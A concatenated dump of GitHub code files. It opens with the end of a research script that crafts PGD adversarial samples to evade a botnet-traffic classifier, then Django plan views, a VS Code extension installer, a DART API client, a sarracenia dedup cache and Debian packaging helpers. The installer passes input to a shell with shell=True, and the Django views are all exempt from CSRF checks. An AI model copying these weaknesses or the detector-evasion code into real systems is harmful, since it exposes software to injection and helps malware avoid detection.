perturbSamples.append(adversary)\n perturbSamples = np.squeeze(np.array(perturbSamples))\n\n probas = np.squeeze(model.predict(perturbSamples))\n predictions = np.squeeze((probas>= 0.5).astype(int))\n adv_idx = np.squeeze(np.argwhere(predictions == 0))\n success_rate = np.count_nonzero(predictions == 0)/predictions.shape[0]*100\n return perturbSamples, success_rate\n\n\nif __name__ == \"__main__\":\n\n scaler = joblib.load('../data/neris/scaler.pkl')\n min_features, max_features = read_min_max('../data/neris/minimum.txt', '../data/neris/maximum.txt')\n mask_idx = np.load('../data/neris/mutable_idx.npy')\n eq_min_max = np.load('../data/neris/eq_min_max_idx.npy')\n start_time = datetime.now()\n perturbed_samples, success_rate_12 = attack('pgd', '../out/datasets/neris/clean_10epochs/clean_trained_model.h5', '../data/neris/testing_samples.npy', '../data/neris/testing_labels.npy', distance=12, iterations=100, mask_idx=mask_idx, eq_min_max=eq_min_max)\n #np.save(\"perturbations_neris_all_nerisds_trainset.npy\", perturbed_samples)\n end_time = datetime.now()\n print('Duration: {}'.format(end_time - start_time))\n print(\"Success rate\", success_rate_12)","repo_name":"serval-uni-lu/realistic_adversarial_hardening","sub_path":"botnet/attack/attack.py","file_name":"attack.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"71182676712","text":"'''\nCreate on Jan 1st 2018\n@Author KEYS\n'''\n\nfrom app.service.userservice import UserService\nfrom app.service.planservice import PlanService\nfrom app.ulity import Ulity\nfrom django.http import HttpResponse\nfrom app.models import Plan, Session\nfrom app.constant import Constant\nfrom django.views.decorators.csrf import csrf_exempt\n\nimport simplejson\nimport datetime\n\nclass PlanControler(object):\n\n def __init__(self):\n self.uservice = UserService()\n self.ulity = Ulity()\n self.planservice = PlanService()\n\n @csrf_exempt\n def createPlanControler(self, request):\n if request.method == 'POST':\n status = 200\n [sessionid, response] = self.ulity.isEmptySession(request.session)\n if sessionid == None:\n response[\"message\"] = Constant.FAIL_CREATEPLAN\n return HttpResponse(content=simplejson.dumps(response), status=status)\n is_login = self.uservice.isLogin(sessionid)\n req = simplejson.loads(request.body)\n if is_login == Constant.ERROR_LOGIN_NOLOGIN:\n response['message'] = Constant.FAIL_CREATEPLAN\n response['data'] = {}\n response['data']['error'] = is_login\n else:\n partner = req[\"partner\"]\n partner_str = ','.join(partner)\n plan = Plan(PLAN_USER=is_login, PLAN_NAME=req[\"planname\"],\n RUN_DATETIME=datetime.datetime.strptime(req[\"runtime\"],'%Y-%m-%d %H:%M'),\n PARTNER=partner_str, PLACE=req[\"place\"])\n create_plan_message = self.planservice.createPlan(plan)\n if create_plan_message != Constant.SUCCESS_CREATEPLAN:\n response[\"message\"] = Constant.FAIL_CREATEPLAN\n response[\"data\"] = {}\n response[\"data\"][\"error\"] = create_plan_message\n else:\n response[\"message\"] = Constant.SUCCESS_CREATEPLAN\n response[\"planid\"] = plan.PLAN_ID\n status = 200\n return HttpResponse(content=simplejson.dumps(response), status=status)\n\n\n @csrf_exempt\n def deletePlanControler(self, request):\n if request.method == 'DELETE':\n status = 200\n [sessionid, response] = self.ulity.isEmptySession(request.session)\n if sessionid == None:\n response[\"message\"] = Constant.FAIL_DELETEPLAN\n return HttpResponse(content=simplejson.dumps(response), status=status)\n is_login = self.uservice.isLogin(sessionid)\n req = simplejson.loads(request.body)\n if is_login == Constant.ERROR_LOGIN_NOLOGIN:\n response['message'] = Constant.FAIL_DELETEPLAN\n response['data'] = {}\n response['data']['error'] = is_login\n else:\n plan_id = req[\"planid\"]\n delete_plan_message = self.planservice.deletePlan(plan_id, is_login)\n if delete_plan_message != Constant.SUCCESS_DELETEPLAN:\n response[\"message\"] = Constant.FAIL_DELETEPLAN\n response[\"data\"] = {}\n response[\"data\"][\"error\"] = delete_plan_message\n else:\n response[\"message\"] = Constant.SUCCESS_DELETEPLAN\n status = 200\n return HttpResponse(content=simplejson.dumps(response), status=status)\n\n @csrf_exempt\n def updatePlanControler(self, request):\n if request.method == 'PUT':\n status = 200\n [sessionid, response] = self.ulity.isEmptySession(request.session)\n if sessionid == None:\n response[\"message\"] = Constant.FAIL_UPDATEPLAN\n return HttpResponse(content=simplejson.dumps(response), status=status)\n is_login = self.uservice.isLogin(sessionid)\n req = simplejson.loads(request.body)\n if is_login == Constant.ERROR_LOGIN_NOLOGIN:\n response['message'] = Constant.FAIL_UPDATEPLAN\n response['data'] = {}\n response['data']['error'] = is_login\n else:\n partner = req[\"partner\"]\n partner_str = ','.join(partner)\n plan = Plan(PLAN_ID=req[\"planid\"], PLAN_USER=is_login, PLAN_NAME=req[\"planname\"],\n RUN_DATETIME=datetime.datetime.strptime(req[\"runtime\"],'%Y-%m-%d %H:%M'),\n PARTNER=partner_str, PLACE=req[\"place\"])\n update_plan_message = self.planservice.updatePlan(plan)\n if update_plan_message != Constant.SUCCESS_UPDATEPLAN:\n response[\"message\"] = Constant.FAIL_UPDATEPLAN\n response[\"data\"] = {}\n response[\"data\"][\"error\"] = update_plan_message\n else:\n response[\"message\"] = Constant.SUCCESS_UPDATEPLAN\n response[\"planid\"] = plan.PLAN_ID\n status = 200\n return HttpResponse(content=simplejson.dumps(response), status=status)\n\n @csrf_exempt\n def getAllPlanControler(self, request):\n if request.method == 'GET':\n status = 200\n [sessionid, response] = self.ulity.isEmptySession(request.session)\n if sessionid == None:\n response[\"message\"] = Constant.FAIL_GETALLPLANS\n return HttpResponse(content=simplejson.dumps(response), status=status)\n is_login = self.uservice.isLogin(sessionid)\n if is_login == Constant.ERROR_LOGIN_NOLOGIN:\n response['message'] = Constant.FAIL_GETALLPLANS\n response['data'] = {}\n response['data']['error'] = is_login\n else:\n [get_allplan_message,plan_set] = self.planservice.getAllPlans(is_login)\n if plan_set is not None:\n for plan in plan_set:\n plan_json = {}\n plan_json[\"planid\"] = plan.PLAN_ID\n plan_json[\"planname\"] = plan.PLAN_NAME\n plan_json[\"author\"] = plan.PLAN_NAME\n plan_json[\"runtime\"] = plan.RUN_DATETIME.strftime('%Y-%m-%d %H:%M')\n plan_json[\"partner\"] = plan.PARTNER.split(',')\n plan_json[\"place\"] = plan.PLACE\n plan_json[\"addtime\"] = plan.ADD_DATETIME.strftime('%Y-%m-%d %H:%M')\n response[plan.PLAN_ID] = plan_json\n status = 200\n else:\n response['message'] = Constant.FAIL_GETALLPLANS\n response['data'] = {}\n response['data']['error'] = get_allplan_message\n return HttpResponse(content=simplejson.dumps(response), status=status)\n\n @csrf_exempt\n def difMethodPlanControler(self, request):\n if request.method == 'PUT':\n return self.updatePlanControler(request)\n if request.method == 'DELETE':\n return self.deletePlanControler(request)\n if request.method == 'POST':\n return self.createPlanControler(request)\n if request.method == 'GET':\n return self.getAllPlanControler(request)","repo_name":"yxlshk/Android_final_project","sub_path":"service/runner/app/controler/plancontroler.py","file_name":"plancontroler.py","file_ext":"py","file_size_in_byte":7311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"1010024277","text":"import json\nimport subprocess\n\ndef run_command_on_element(element):\n # Replace the following command with the desired command you want to run for each element\n command = f\"code --install-extension {element}\"\n \n try:\n result = subprocess.check_output(command, shell=True, text=True)\n print(result.strip())\n except subprocess.CalledProcessError as e:\n print(f\"Error while running command: {e}\")\n\ndef main():\n try:\n # Read JSON list from JQ's output\n json_output = input()\n data = json.loads(json_output)\n except json.JSONDecodeError as e:\n print(f\"Error parsing JSON: {e}\")\n return\n\n for element in data:\n run_command_on_element(element)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"brahste/home-config","sub_path":"scripts/helpers/install-vscode-extensions.py","file_name":"install-vscode-extensions.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18183185937","text":"import requests\nimport time\nimport json\n\n# Case 1. 최근 보고서 (3개월 이내)\n# get_recent_report()\n# Case 2. \n\n\napi_auth = None\nwith open('auth.txt', 'r') as f:\n api_auth = f.readline()\n\n\nDEFAULT_QUERY = {\n'auth': api_auth,\n'page_no': 1,\n'start_dt': 19990101, # 시작일 최소 : 19990101\n'page_set': 100 # 한페이지 최대 100개\n}\n\n\nclass DartAPI:\n \"\"\"\n 시작일 최소 : 19990101\n \"\"\"\n recent_request = None\n TERM = 2\n\n\n @staticmethod\n def url(query=DEFAULT_QUERY):\n \"\"\"\n query: dict\n dsp_tp, bsn_tp: list\n \"\"\"\n url = 'http://dart.fss.or.kr/api/search.json?'\n \n for query_type in query.keys():\n if query_type == 'dsp_tp':\n for dsp_tp in query[query_type]:\n url += ('&dsp_tp=' + dsp_tp)\n elif query_type == 'bsn_tp':\n for bsn_tp in query[query_type]:\n url += ('&bsn_tp=' + bsn_tp) \n else:\n url += ('&%s=%s' % (query_type, query[query_type]))\n return url\n\n @staticmethod\n def can_request():\n if DartAPI.recent_request is None:\n return True\n else:\n if time.time() - DartAPI.recent_request > DartAPI.TERM:\n return True\n else:\n return False\n\n @staticmethod\n def request_loop(query):\n \"\"\"\n request 요청에 제한이 있어\n request 요청 사이에 기타작업(가공, DB) 가능하도록 제너레이터\n :yield: 보고서리스트 (최대 100개) (제너레이터)\n \"\"\"\n\n url = DartAPI.url(query)\n\n while not DartAPI.can_request():\n time.sleep(0.1)\n r = requests.get(url)\n DartAPI.recent_request = time.time()\n data = json.loads(r.content.decode('utf8'))\n\n err_code = data['err_code']\n err_msg = data['err_msg']\n page_no = data['page_no']\n total_page = data['total_page']\n if err_code != '000':\n raise ValueError(err_msg, url)\n\n print('page %s/%s' % (page_no, total_page))\n yield data['list']\n\n page_no += 1\n while page_no <= total_page:\n query['page_no'] = page_no\n url = DartAPI.url(query)\n\n while not DartAPI.can_request():\n time.sleep(0.1)\n r = requests.get(url)\n DartAPI.recent_request = time.time()\n data = json.loads(r.content.decode('utf8'))\n\n err_code = data['err_code']\n err_msg = data['err_msg']\n page_no = data['page_no']\n if err_code != '000':\n raise ValueError(err_msg, url)\n\n print('page %s/%s' % (page_no, total_page))\n page_no += 1\n yield data['list']\n\n @staticmethod\n def get_recent_report(START_DATE, page_no=1):\n \"\"\"\n :param START_DATE: 최근 3개월로 지정해야함\n :return: DartAPI.request_loop(query)\n \"\"\"\n query = DEFAULT_QUERY\n query['start_dt'] = START_DATE\n query['page_no'] = page_no\n return DartAPI.request_loop(query)\n\n @staticmethod\n def get_recent_report_by_type(START_DATE, page_no=1, \n dsp_tp_list=None, \n bsn_tp_list=None):\n \"\"\"\n :param START_DATE: 최근 3개월로 지정해야함\n :return: DartAPI.request_loop(query)\n \"\"\"\n query = DEFAULT_QUERY\n query['start_dt'] = START_DATE\n query['page_no'] = page_no\n\n if dsp_tp_list:\n query['dsp_tp'] = dsp_tp_list\n if bsn_tp_list:\n query['bsn_tp'] = bsn_tp_list\n\n return DartAPI.request_loop(query)\n\n\nif __name__ == '__main__':\n for data in DartAPI.get_recent_report(20180101):\n print(data)\n\n # for data in DartAPI.get_recent_report_by_type(20180101,\n # dsp_tp_list=['A'],\n # bsn_tp_list=['B003']):\n # print(data)\n","repo_name":"limitriss/DartAPI","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39980621872","text":"import os\n\nimport urllib.parse\n\nimport logging\n\nfrom sarracenia import nowflt, timestr2flt, timeflt2str\n\nfrom sarracenia.flowcb.nodupe import NoDupe\n\nlogger = logging.getLogger(__name__)\n\n\nclass Disk(NoDupe):\n \"\"\"\n generalised duplicate suppression for sr3 programs. It is used as a \n time based buffer that prevents, when activated, identical files (of some kinds) \n from being processed more than once, by rejecting files identified as duplicates.\n\n options:\n\n nodupe_ttl - duration in seconds (floating point.)\n The time horizon of the receiption cache.\n how long to remember files, so they are rejected as duplicates.\n\n The expiry based on nodupe_ttl is applied every housekeeping interval.\n\n nodupe_fileAgeMax - the oldest file that will be considered for processing.\n files older than this threshold will be rejected.\n\n nodupe_fileAgeMin - the newest file that can be considered for processing.\n files newer than this threshold will be rejected.\n if not specified, the value of option *inflight*\n may be referenced if it is an integer value.\n\n NoDupe supports/uses::\n \n cache_file : default ~/.cache/sarra/'pgm'/'cfg'/recent_files_0001.cache\n each line in file is\n sum time path part\n \n cache_dict : {}\n cache_dict[key] = {path1: time1, path2: time2, ...}\n \n \"\"\"\n def __init__(self, options):\n\n super().__init__(options,logger)\n logger.debug(\"NoDupe init\")\n logging.basicConfig(format=self.o.logFormat, level=getattr(logging, self.o.logLevel.upper()))\n\n self.o.add_option( 'nodupe_ttl', 'duration', 0 ) \n self.o.add_option( 'nodupe_fileAgeMax', 'duration', 0 ) \n self.o.add_option( 'nodupe_fileAgeMin', 'duration', 0 ) \n\n logger.info('time_to_live=%d, ' % (self.o.nodupe_ttl))\n\n self.cache_dict = {}\n self.cache_file = None\n self.cache_hit = None\n self.fp = None\n\n self.last_expire = nowflt()\n self.count = 0\n\n self.last_time = nowflt()\n self.last_count = 0\n\n def on_housekeeping(self):\n\n logger.info(\"start (%d)\" % len(self.cache_dict))\n\n count = self.count\n self.save()\n\n self.now = nowflt()\n new_count = self.count\n\n logger.info(\n \"was %d, but since %5.2f sec, increased up to %d, now saved %d entries\"\n % (self.last_count, self.now - self.last_time, count, new_count))\n\n self.last_time = self.now\n self.last_count = new_count\n\n def _not_in_cache(self, key, relpath) -> bool:\n \"\"\" return False if the given key=relpath value is already in the cache,\n True otherwise\n side effect: add it to the cache if it isn't there.\n \"\"\"\n # not found\n self.cache_hit = None\n qpath = urllib.parse.quote(relpath)\n\n if key not in self.cache_dict:\n logger.debug(\"adding entry to NoDupe cache\")\n kdict = {}\n kdict[relpath] = self.now\n self.cache_dict[key] = kdict\n self.fp.write(\"%s %f %s\\n\" % (key, self.now, qpath))\n self.count += 1\n return True\n\n logger.debug( f\"entry already in NoDupe cache: key={key}\" )\n kdict = self.cache_dict[key]\n present = relpath in kdict\n kdict[relpath] = self.now\n\n # differ or newer, write to file\n self.fp.write(\"%s %f %s\\n\" % (key, self.now, qpath))\n self.count += 1\n\n if present:\n logger.debug( f\"updated time of old NoDupe entry: relpath={relpath}\" )\n self.cache_hit = relpath\n return False\n else:\n logger.debug( f\"added relpath={relpath}\")\n\n return True\n\n def check_message(self, msg) -> bool :\n \"\"\"\n derive keys to be looked up in cache of messages already seen.\n then look them up in the cache, \n\n return False if message is a dupe.\n True if it is new.\n \"\"\"\n\n key = self.deriveKey(msg)\n\n if ('nodupe_override' in msg) and ('path' in msg['nodupe_override']):\n path = msg['nodupe_override']['path']\n else:\n path = msg['relPath'].lstrip('/')\n\n msg['noDupe'] = { 'key': key, 'path': path }\n msg['_deleteOnPost'] |= set(['noDupe'])\n\n logger.debug(\"NoDupe calling check( %s, %s )\" % (key, path))\n return self._not_in_cache(key, path)\n\n def after_accept(self, worklist):\n new_incoming = []\n self.now = nowflt()\n if self.o.nodupe_fileAgeMax > 0:\n min_mtime = self.now - self.o.nodupe_fileAgeMax\n else:\n min_mtime = 0\n\n if self.o.nodupe_fileAgeMin > 0:\n max_mtime = self.now - self.o.nodupe_fileAgeMin\n elif type(self.o.inflight) in [ int, float ] and self.o.inflight > 0:\n max_mtime = self.now - self.o.inflight\n else:\n # FIXME: should we add some time here to allow for different clocks?\n # 100 seconds in the future? hmm...\n max_mtime = self.now + 100\n\n for m in worklist.incoming:\n if ('mtime' in m) :\n mtime=timestr2flt(m['mtime'])\n if mtime < min_mtime:\n m['_deleteOnPost'] |= set(['reject'])\n m['reject'] = f\"{m['mtime']} too old (nodupe check), oldest allowed {timeflt2str(min_mtime)}\"\n m.setReport(304, f\"{m['mtime']} too old (nodupe check), oldest allowed {timeflt2str(min_mtime)}\" )\n worklist.rejected.append(m)\n continue\n elif mtime > max_mtime:\n m['_deleteOnPost'] |= set(['reject'])\n m['reject'] = f\"{m['mtime']} too new (nodupe check), newest allowed {timeflt2str(max_mtime)}\"\n m.setReport(304, f\"{m['mtime']} too new (nodupe check), newest allowed {timeflt2str(max_mtime)}\" )\n worklist.rejected.append(m)\n continue\n\n if self.check_message(m):\n new_incoming.append(m)\n else:\n m['_deleteOnPost'] |= set(['reject'])\n m['reject'] = \"not modifified 1 (nodupe check)\"\n m.setReport(304, 'Not modified 1 (cache check)')\n worklist.rejected.append(m)\n\n if self.fp:\n self.fp.flush()\n logger.debug( f\"items registered in duplicate suppression cache: {len(self.cache_dict.keys())}\" )\n worklist.incoming = new_incoming\n\n def on_start(self):\n self.open()\n\n def on_stop(self):\n self.save()\n self.close()\n\n def clean(self, persist=False, delpath=None):\n logger.debug(\"start\")\n\n # create refreshed dict\n\n now = nowflt()\n new_dict = {}\n self.count = 0\n\n if delpath is not None:\n qdelpath = urllib.parse.quote(delpath)\n else:\n qdelpath = None\n\n # from cache[sum] = [(time,[path,part]), ... ]\n for key in self.cache_dict.keys():\n ndict = {}\n kdict = self.cache_dict[key]\n\n for value in kdict:\n # expired or keep\n t = kdict[value]\n ttl = now - t\n if ttl > self.o.nodupe_ttl: continue\n\n parts = value.split('*')\n path = parts[0]\n qpath = urllib.parse.quote(path)\n\n if qpath == qdelpath: continue\n\n ndict[value] = t\n self.count += 1\n\n if persist:\n self.fp.write(\"%s %f %s\\n\" % (key, t, qpath))\n\n if len(ndict) > 0: new_dict[key] = ndict\n\n # set cleaned cache_dict\n self.cache_dict = new_dict\n\n def close(self, unlink=False):\n logger.debug(\"start\")\n try:\n self.fp.flush()\n self.fp.close()\n except Exception as err:\n logger.warning('did not close: cache_file={}, err={}'.format(\n self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n self.fp = None\n\n if unlink:\n try:\n os.unlink(self.cache_file)\n except Exception as err:\n logger.warning(\"did not unlink: cache_file={}: err={}\".format(\n self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n self.cache_dict = {}\n self.count = 0\n\n def delete_path(self, delpath):\n logger.debug(\"start\")\n\n # close,remove file, open new empty file\n self.fp.close()\n if os.path.exists(self.cache_file):\n os.unlink(self.cache_file)\n self.fp = open(self.cache_file, 'w')\n\n # clean cache removing delpath\n self.clean(persist=True, delpath=delpath)\n\n def free(self):\n logger.debug(\"start\")\n self.cache_dict = {}\n self.count = 0\n try:\n os.unlink(self.cache_file)\n except Exception as err:\n logger.warning(\"did not unlink: cache_file={}, err={}\".format(\n self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n self.fp = open(self.cache_file, 'w')\n\n def load(self):\n logger.debug(\"start\")\n self.cache_dict = {}\n self.count = 0\n\n # create file if not existing\n if not os.path.isfile(self.cache_file):\n self.fp = open(self.cache_file, 'w')\n self.fp.close()\n\n # set time\n now = nowflt()\n\n # open file (read/append)...\n # read through\n # keep open to append entries\n\n self.fp = open(self.cache_file, 'r+')\n lineno = 0\n while True:\n # read line, parse words\n line = self.fp.readline()\n if not line: break\n lineno += 1\n\n # words = [ sum, time, path ]\n try:\n words = line.split()\n key = words[0]\n ctime = float(words[1])\n qpath = words[2]\n path = urllib.parse.unquote(qpath)\n\n # skip expired entry\n\n ttl = now - ctime\n if ttl > self.o.nodupe_ttl: continue\n\n except Exception as err:\n err_msg_fmt = \"load corrupted: lineno={}, cache_file={}, err={}\"\n logger.error(err_msg_fmt.format(lineno, self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n continue\n\n # add info in cache\n\n if key in self.cache_dict: kdict = self.cache_dict[key]\n else: kdict = {}\n\n if not path in kdict: self.count += 1\n\n kdict[path] = ctime\n self.cache_dict[key] = kdict\n\n def open(self, cache_file=None):\n\n self.cache_file = cache_file\n\n if cache_file is None:\n self.cache_file = self.o.cfg_run_dir + os.sep\n self.cache_file += 'recent_files_%.3d.cache' % self.o.no\n\n self.load()\n\n def save(self):\n logger.debug(\"NoDupe save\")\n\n # close,remove file\n if self.fp: self.fp.close()\n try:\n os.unlink(self.cache_file)\n except Exception as err:\n logger.warning(\"did not unlink: cache_file={}, err={}\".format(\n self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n # new empty file, write unexpired entries\n try:\n self.fp = open(self.cache_file, 'w')\n self.clean(persist=True)\n except Exception as err:\n logger.warning(\"did not clean: cache_file={}, err={}\".format(\n self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n","repo_name":"MetPX/sarracenia","sub_path":"sarracenia/flowcb/nodupe/disk.py","file_name":"disk.py","file_ext":"py","file_size_in_byte":12020,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"72"}
+{"seq_id":"41480496015","text":"import abc\n\nimport errno\n\nimport fnmatch\n\nimport os\n\nimport platform\n\nimport shutil\n\nimport stat\n\nimport subprocess\n\nimport sys\n\nimport tarfile\n\nimport tempfile\n\nimport textwrap\n\nfrom collections import namedtuple\n\nfrom clint.textui import colored\n\nfrom psqtraviscontainer import directory\nfrom psqtraviscontainer import download\n\nimport six\n\nimport tempdir\n\n_UBUNTU_MAIN_ARCHS = [\"i386\", \"amd64\"]\n_UBUNTU_PORT_ARCHS = [\"armhf\", \"arm64\", \"powerpc\", \"ppc64el\"]\n_UBUNTU_MAIN_ARCHIVE = \"http://archive.ubuntu.com/ubuntu/\"\n_UBUNTU_PORT_ARCHIVE = \"http://ports.ubuntu.com/ubuntu-ports/\"\n\n\ndef _report_task(description):\n \"\"\"Report task description.\"\"\"\n sys.stdout.write(str(colored.white(\"-> {0}\\n\".format(description))))\n\n\ndef _run_task(executor, description, argv, env=None, detail=None):\n \"\"\"Run command through executor argv and prints description.\"\"\"\n def wrapper(line):\n \"\"\"Output wrapper for line.\"\"\"\n return textwrap.indent(line, \" \")\n\n detail = \"[{}]\".format(\" \".join(argv)) if detail is None else detail\n _report_task(description + \" \" + detail)\n (code,\n stdout_data,\n stderr_data) = executor.execute(argv,\n output_modifier=wrapper,\n live_output=True,\n env=env)\n sys.stderr.write(stderr_data)\n\n\ndef _format_package_list(packages):\n \"\"\"Return a nicely formatted list of package names.\"\"\"\n \"\\n (*) \".join([\"\"] + packages)\n\n\nclass PackageSystem(six.with_metaclass(abc.ABCMeta, object)):\n \"\"\"An abstract class representing a package manager.\"\"\"\n\n PopenArguments = namedtuple(\"PopenArguments\", \"argv env\")\n\n @abc.abstractmethod\n def add_repositories(self, repos):\n \"\"\"Add repositories to central packaging system.\"\"\"\n del repos\n\n raise NotImplementedError()\n\n @abc.abstractmethod\n def install_packages(self, package_names):\n \"\"\"Install specified packages in package_names.\"\"\"\n del package_names\n\n raise NotImplementedError()\n\n\nclass Dpkg(PackageSystem):\n \"\"\"Debian Packaging System.\"\"\"\n\n def __init__(self,\n release,\n arch,\n executor):\n \"\"\"Initialize Dpkg with release and arch.\"\"\"\n super(Dpkg, self).__init__()\n self._release = release\n self._arch = arch\n self._executor = executor\n\n @staticmethod\n def format_repositories(repos, release, arch):\n \"\"\"Take a list of APT lines and format them.\n\n There are certain shortcuts that you can use.\n\n {ubuntu} will be replaced by http://archive.ubuntu.com/ and\n the architecture.\n\n {debian} will be replaced by http://ftp.debian.org/.\n\n {launchpad} will be replaced by \"http://ppa.launchpad.net/.\n\n {release} gets replaced by the release of the distribution, which\n means you don't need a repository file for every distribution.\n \"\"\"\n _ubuntu_urls = [\n (_UBUNTU_MAIN_ARCHS, _UBUNTU_MAIN_ARCHIVE),\n (_UBUNTU_PORT_ARCHS, _UBUNTU_PORT_ARCHIVE)\n ]\n\n def _format_user_line(line, kwargs):\n \"\"\"Format a line and turns it into a valid repository line.\"\"\"\n formatted_line = line.format(**kwargs)\n return \"deb {0}\".format(formatted_line)\n\n def _value_or_error(value):\n \"\"\"Return first item in value, or ERROR if value is empty.\"\"\"\n return value[0] if len(value) else \"ERROR\"\n\n format_keys = {\n \"ubuntu\": [u[1] for u in _ubuntu_urls if arch in u[0]],\n \"debian\": [\"http://ftp.debian.org/\"],\n \"launchpad\": [\"http://ppa.launchpad.net/\"],\n \"release\": [release]\n }\n format_keys = {\n k: _value_or_error(v) for k, v in format_keys.items()\n }\n\n return [_format_user_line(l, format_keys) for l in repos]\n\n def add_repositories(self, repos):\n \"\"\"Add a repository to the central packaging system.\"\"\"\n # We will be creating a bash script each time we need to add\n # a new source line to our sources list and executing that inside\n # the proot. This guarantees that we'll always get the right\n # permissions.\n with tempfile.NamedTemporaryFile() as bash_script:\n append_lines = Dpkg.format_repositories(repos,\n self._release,\n self._arch)\n for count, append_line in enumerate(append_lines):\n path = \"/etc/apt/sources.list.d/{0}.list\".format(count)\n append_cmd = \"echo \\\"{0}\\\" > {1}\\n\".format(append_line, path)\n bash_script.write(six.b(append_cmd))\n\n bash_script.flush()\n self._executor.execute_success([\"bash\", bash_script.name],\n requires_full_access=True)\n\n def install_packages(self, package_names):\n \"\"\"Install all packages in list package_names.\"\"\"\n if len(package_names):\n _run_task(self._executor,\n \"\"\"Update repositories\"\"\",\n [\"apt-get\", \"update\", \"-y\", \"--force-yes\"])\n _run_task(self._executor,\n \"\"\"Install APT packages\"\"\",\n [\"apt-get\",\n \"install\",\n \"-y\",\n \"--force-yes\"] + package_names,\n detail=_format_package_list(package_names))\n\n\nclass DpkgLocal(PackageSystem):\n \"\"\"Debian packaging system, installing packages to local directory.\"\"\"\n\n def __init__(self, release, arch, executor):\n \"\"\"Initialize this PackageSystem.\"\"\"\n super(DpkgLocal, self).__init__()\n self._release = release\n self._arch = arch\n self._executor = executor\n\n def _initialize_directories(self):\n \"\"\"Ensure that all APT and Dpkg directories are initialized.\"\"\"\n root = self._executor.root_filesystem_directory()\n directory.safe_makedirs(os.path.join(root,\n \"var\",\n \"cache\",\n \"apt\",\n \"archives\",\n \"partial\"))\n directory.safe_makedirs(os.path.join(root,\n \"var\",\n \"lib\",\n \"apt\",\n \"lists\",\n \"partial\"))\n directory.safe_makedirs(os.path.join(root,\n \"var\",\n \"lib\",\n \"dpkg\",\n \"updates\"))\n directory.safe_makedirs(os.path.join(root,\n \"var\",\n \"lib\",\n \"dpkg\",\n \"info\"))\n directory.safe_makedirs(os.path.join(root,\n \"var\",\n \"lib\",\n \"dpkg\",\n \"parts\"))\n directory.safe_touch(os.path.join(root,\n \"var\",\n \"lib\",\n \"dpkg\",\n \"status\"))\n directory.safe_touch(os.path.join(root,\n \"var\",\n \"lib\",\n \"dpkg\",\n \"available\"))\n\n for confpath in [\"apt.conf\",\n \"preferences\",\n \"trusted.gpg\",\n \"sources.list\"]:\n directory.safe_makedirs(os.path.join(root,\n \"etc\",\n \"apt\",\n confpath + \".d\"))\n\n config_file_contents = \"\\n\".join([\n \"Apt {\",\n \" Architecture \\\"\" + self._arch + \"\\\";\",\n \" Get {\",\n \" Assume-Yes true;\",\n \" };\",\n \"};\",\n \"debug {\",\n \" nolocking true;\",\n \"};\",\n \"Acquire::Queue-Mode \\\"host\\\";\",\n \"Dir \\\"\" + root + \"\\\";\",\n \"Dir::Cache \\\"\" + root + \"/var/cache/apt\\\";\",\n \"Dir::State \\\"\" + root + \"/var/lib/apt\\\";\",\n \"Dir::State::status \\\"\" + root + \"/var/lib/dpkg/status\\\";\",\n \"Dir::Bin::Solvers \\\"\" + root + \"/usr/lib/apt/solvers\\\";\",\n \"Dir::Bin::Planners \\\"\" + root + \"/usr/lib/apt/planners\\\";\",\n \"Dir::Bin::Solvers \\\"\" + root + \"/usr/lib/apt/solvers\\\";\",\n \"Dir::Bin::Methods \\\"\" + root + \"/usr/lib/apt/methods\\\";\",\n \"Dir::Bin::Dpkg \\\"\" + root + \"/usr/bin/dpkg.w\\\";\",\n \"Dir::Etc \\\"\" + root + \"/etc/apt\\\";\",\n \"Dir::Log \\\"\" + root + \"/var/log/apt\\\";\"\n ])\n apt_config_path = os.path.join(root, \"etc\", \"apt\", \"apt.conf\")\n with open(apt_config_path, \"w\") as config_file:\n config_file.write(config_file_contents)\n\n dpkg_script_contents = \"\\n\".join([\n \"#!/bin/bash\",\n root + \"/usr/bin/dpkg --root='\" + root + \"' \\\\\",\n \"--admindir=\" + root + \"/var/lib/dpkg \\\\\",\n \"--log=\" + root + \"/var/log/dkpkg.log \\\\\",\n \"--force-not-root --force-bad-path $@\"\n ])\n dpkg_bin_path = os.path.join(root, \"usr\", \"bin\", \"dpkg.w\")\n with open(dpkg_bin_path, \"w\") as dpkg_bin:\n dpkg_bin.write(dpkg_script_contents)\n os.chmod(dpkg_bin_path, os.stat(dpkg_bin_path).st_mode | stat.S_IXUSR)\n\n def add_repositories(self, repos):\n \"\"\"Add repository to the central packaging system.\"\"\"\n self._initialize_directories()\n\n root = self._executor.root_filesystem_directory()\n sources_list = os.path.join(root, \"etc\", \"apt\", \"sources.list\")\n\n try:\n with open(sources_list) as sources:\n known_repos = [s for s in sources.read().split(\"\\n\") if len(s)]\n except EnvironmentError as error:\n if error.errno != errno.ENOENT:\n raise error\n\n known_repos = []\n\n all_repos = (set(Dpkg.format_repositories(repos,\n self._release,\n self._arch)) |\n set(known_repos))\n\n with open(sources_list, \"w\") as sources:\n sources.write(\"\\n\".join(sorted(list(all_repos))))\n\n def install_packages(self, package_names):\n \"\"\"Install all packages in list package_names.\n\n This works in a somewhat non-standard way. We will be\n updating the repository list as usual, but will be\n using a combination of apt-get download and\n dpkg manually to install packages into a local\n directory which we control.\n \"\"\"\n self._initialize_directories()\n\n from six.moves.urllib.parse import urlparse # suppress(import-error)\n\n root = self._executor.root_filesystem_directory()\n environment = {\n \"APT_CONFIG\": os.path.join(root, \"etc\", \"apt\", \"apt.conf\")\n }\n _run_task(self._executor,\n \"\"\"Update repositories\"\"\",\n [\"apt-get\", \"update\", \"-y\", \"--force-yes\"],\n env=environment)\n\n # Separate out into packages that need to be downloaded with\n # apt-get and packages that can be 